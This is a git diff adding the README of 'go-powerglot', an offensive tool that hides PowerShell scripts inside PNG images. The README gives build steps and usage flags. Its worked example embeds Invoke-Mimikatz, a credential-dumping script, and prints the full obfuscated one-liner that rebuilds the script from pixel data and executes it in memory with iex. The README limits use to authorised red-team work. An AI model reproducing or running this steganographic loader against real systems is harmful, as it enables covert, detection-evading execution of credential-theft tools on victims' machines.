1 files changed, 108 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..72c28a8
--- /dev/null
+++ b/README.md
@@ -0,0 +1,108 @@
+# go-powerglot
+
+`go-powerglot` is an offensive security utility that embeds PowerShell scripts into PNG images using pixel-level steganography. It transforms ordinary PNG files into covert script carriers and provides a one-liner PowerShell payload for in-memory script extraction and execution. Inspired by [https://github.com/peewpw/Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage)
+
+> **WARNING**: This tool is intended for **authorized security assessments only**. Misuse may violate laws or regulations. The author disclaims any responsibility for unlawful use. Always obtain explicit permission before conducting any security tests.
+
+## Features
+
+- **Steganography**: Embeds PowerShell script bytes into image pixels using RGB channel manipulation.
+- **PowerShell Payload Generator**: Automatically generates a one-liner that decodes and executes the script from the PNG image.
+- **Portable**: Single binary with no external dependencies beyond Go's standard library.
+- **File Size & Dimension Checks**: Ensures the image has sufficient capacity to store the entire script.
+
+## Installation
+
+### Prerequisites
+
+- **Go**: Version 1.21 or later.
+- **Make**: For building with the provided Makefile.
+- **Git**: To clone the repository.
+
+### Steps
+
+- Clone the repository:
+
+```
+$ git clone https://cgit.heqnx.com/go-powerglot
+$ cd go-powerglot
+```
+
+- Install dependencies:
+
+```
+$ go mod tidy
+```
+
+- Build for all platforms:
+
+```
+$ make all
+```
+
+- Binaries will be generated in the build/ directory for Linux, Windows, and macOS; alternatively, build for a specific platform:
+
+```
+$ make linux-amd64
+$ make windows-amd64
+$ make darwin-arm64
+```
+
+- (Optional) Run directly with Go:
+
+```
+$ go run main.go -exec </path/to/png> -image </path/to/input.png> -out </path/to/out.png> -script </path/to/input.ps1>
+```
+
+## Usage
+
+### Command-Line Flags
+
+```
+Usage of ./go-powerglot:
+  -exec string
+        execution path to be used inside the generated PowerShell one-liner
+  -image string
+        input PNG file to embed the script into
+  -out string
+        output PNG file with embedded script
+  -script string
+        PowerShell script file to embed
+```
+
+## Examples
+
+### Embed a PowerShell script into a PNG and generate a decoder:
+
+```
+$ ./go-powerglot \
+    -image img/windows-11-5689x2400.png \
+    -script Invoke-Mimikatz.ps1 \
+    -out test.png \
+    -exec C:\Users\Public\test.png
+```
+
+- Example output:
+
+```
+[inf] script size: 3625037 bytes
+[inf] image size: 2702073 bytes
+[inf] png dimensions: 5689x2400
+[inf] created output file: /home/heqnx/go-powerglot/test.png
+[inf] successfully embedded Invoke-Mimikatz.ps1 into test.png
+[inf] powershell decoder snippet:
+sal a new-object;add-type -a system.drawing;$g=a system.drawing.bitmap("C:\Users\Public\test.png");$o=a byte[] 13653600;(0..2399)|%{foreach($x in 0..5688) {$p=$g.getpixel($x,$_);$o[$_*5689+$x]=[math]::floor(($p.r -band 0x0f)*16) + ($p.g -band 0x0f);}};$g.dispose();iex([system.text.encoding]::ascii.getstring($o[0..3625036]))
+```
+
+- Use the generated PowerShell snippet to decode and execute the embedded script:
+
+- The PowerShell snippet uses pixel decoding logic to reconstruct the original script in memory and execute it using `iex`.
+
+## Disclaimer
+
+`go-powerglot` is provided "as is" without any warranties. The author and contributors are not responsible for damages or misuse. This tool is for research and authorized red team operations only.
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the [LICENSE](LICENSE) file for more details.
+